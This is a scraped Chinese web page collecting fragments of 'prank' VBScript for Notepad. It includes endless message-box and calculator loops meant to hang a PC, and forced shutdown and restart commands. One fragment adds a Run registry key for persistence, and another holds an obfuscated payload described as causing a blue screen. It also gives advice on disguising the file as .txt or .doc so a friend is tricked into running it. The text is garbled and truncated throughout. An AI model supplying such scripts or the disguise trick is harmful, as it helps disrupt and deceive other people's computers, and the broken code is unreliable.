包含记事本vbs恶搞简单代码的词条
1、qwritebWriteLine quotwscriptCreateObjectquot chr34 quotwscriptshellquot chr34 quotrun quot chr34 quotD\1vbsquot chr34qwritebWriteLine quotmsgbox quot chr34 quot滚quot chr34 quot,vbokonly+。
2、首先来看第一个脚本,这个脚本会每隔1秒就弹出一个窗口,并且你都关不掉,如下图所示 然后第二个脚本是不断的循环一段内容,如下图所示,它和第一个一样,也不能关闭弹窗 接下来这个脚本每一次循环会展示4个弹窗,每个。
3、代码一无限弹出信息框 双引号内可以自行修改 do msgbox quot爱邱哥爱生活quotloop 代码二打开N个计算器,到电脑死机 et wsh=createobjectquotwscriptshellquotdo wshrun quotcalcquotloop 代码三电脑关机 dim WSHshell set WSHsh。
4、代码如下,复制到记事本,将txt改为vbs就ok了,中间的字可自己改if MsgBoxquot对不起,您灌水太多需要重新启动计算机quotchr10quot确定要重启吗quot,vbOKCancel+vbInformation,quot重新启动计算机quot=vbCancel then msgbox quot。
5、quotTSNameWScriptEchoquot你是可爱的小朋吗?quotWScriptEchoquot哈,我想你拉,这你都不知道吗quotWScriptEchoquot怎么才来,说~是不是不关心我quotWScriptEchoquot哼,我生气拉,等你这么久,心都凉啦quotWScriptEcho。
6、把代码拷贝到记事本里,另存文件为*vbs,发给你朋友,让他双击这个文件他就上当了通过发送时,你可以先把后缀名改为txt或者doc之类的,然后告诉你朋友让他手动把后缀名改为vbs,再让他双击文件就OK了给你出这么馊。
7、有点简单代码如下WScriptEchoquot嘿,谢谢你打开我哦,我等你很久拉quotTSNameWScriptEchoquot你是可爱的小朋吗?quotWScriptEchoquot哈,我想你拉,这你都不知道吗quotWScriptEchoquot怎么才来,说~是不是不。
8、WSHshellArun quotcmdexe c shutdown r t 60 c quotquot说“我是XX”,不说“我是XX”就一分钟关你的机,不信,试试quotquot quot,0,true dim a do whilea lt quot我是XX,大哥我真的是XX啊!quota = inputbox。
9、fscopyfile thn,a1quot\admin123vbsquot,true do while ilt10 i=i+1 wsRegWrite quotHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\adminquot,quotC\admin123vbsquotloop wsrun quotshutdown s f t。
10、你和我上学的时候有相同的爱好我04年的时候写了一个类似自动发送消息的小东西 就是模拟键盘输入 事先设定循环写的次数还有要写什么东西 要运行vbs的前提是对方机器有wscript服务还有个比较狠的,在c盘上建立一个1。
11、VBS可以用来编写一些整人的小程序,那么如何编写呢下面我就给大家分享一下01 我们首先在桌面上创建一个VBS的文件,如下图所示,注意VBS文件双击的话是直接运行的 02 然后我们用Sublime打开vbs程序文件,在里面借助lo。
12、run quotcmdexe c shutdown aquot,0 ,true msgbox chr13 + chr13 + chr13 + quot哈哈哈哈,真过瘾 嘎嘎爽歪歪啊 quot参考资料把它复制下来 保存到TXT文档本 然后把文档本的后缀名改为vbs 就OK了。
13、Set objShell = CreateObjectquotWscriptShellquot objShellRun quotshutdown s t 5quottrue end if 第四个 #39这个很强悍的vbs,蓝屏 strs=array13,105,102,32,77,115,103,66,111,120,40,34。
14、就是写在记事本然后保存为vbs格式的那种,我只知道msgboxquotquot,我想知道其他一些简单易学的 就是写在记事本然后保存为vbs格式的那种,我只知道msgboxquotquot,我想知道其他一些简单易学的 展开。
15、do if msgboxquot你爱我吗?quot,4132,quotquot=vbyes then exit do msgbox quot再想想quot,4096,quotquotloop。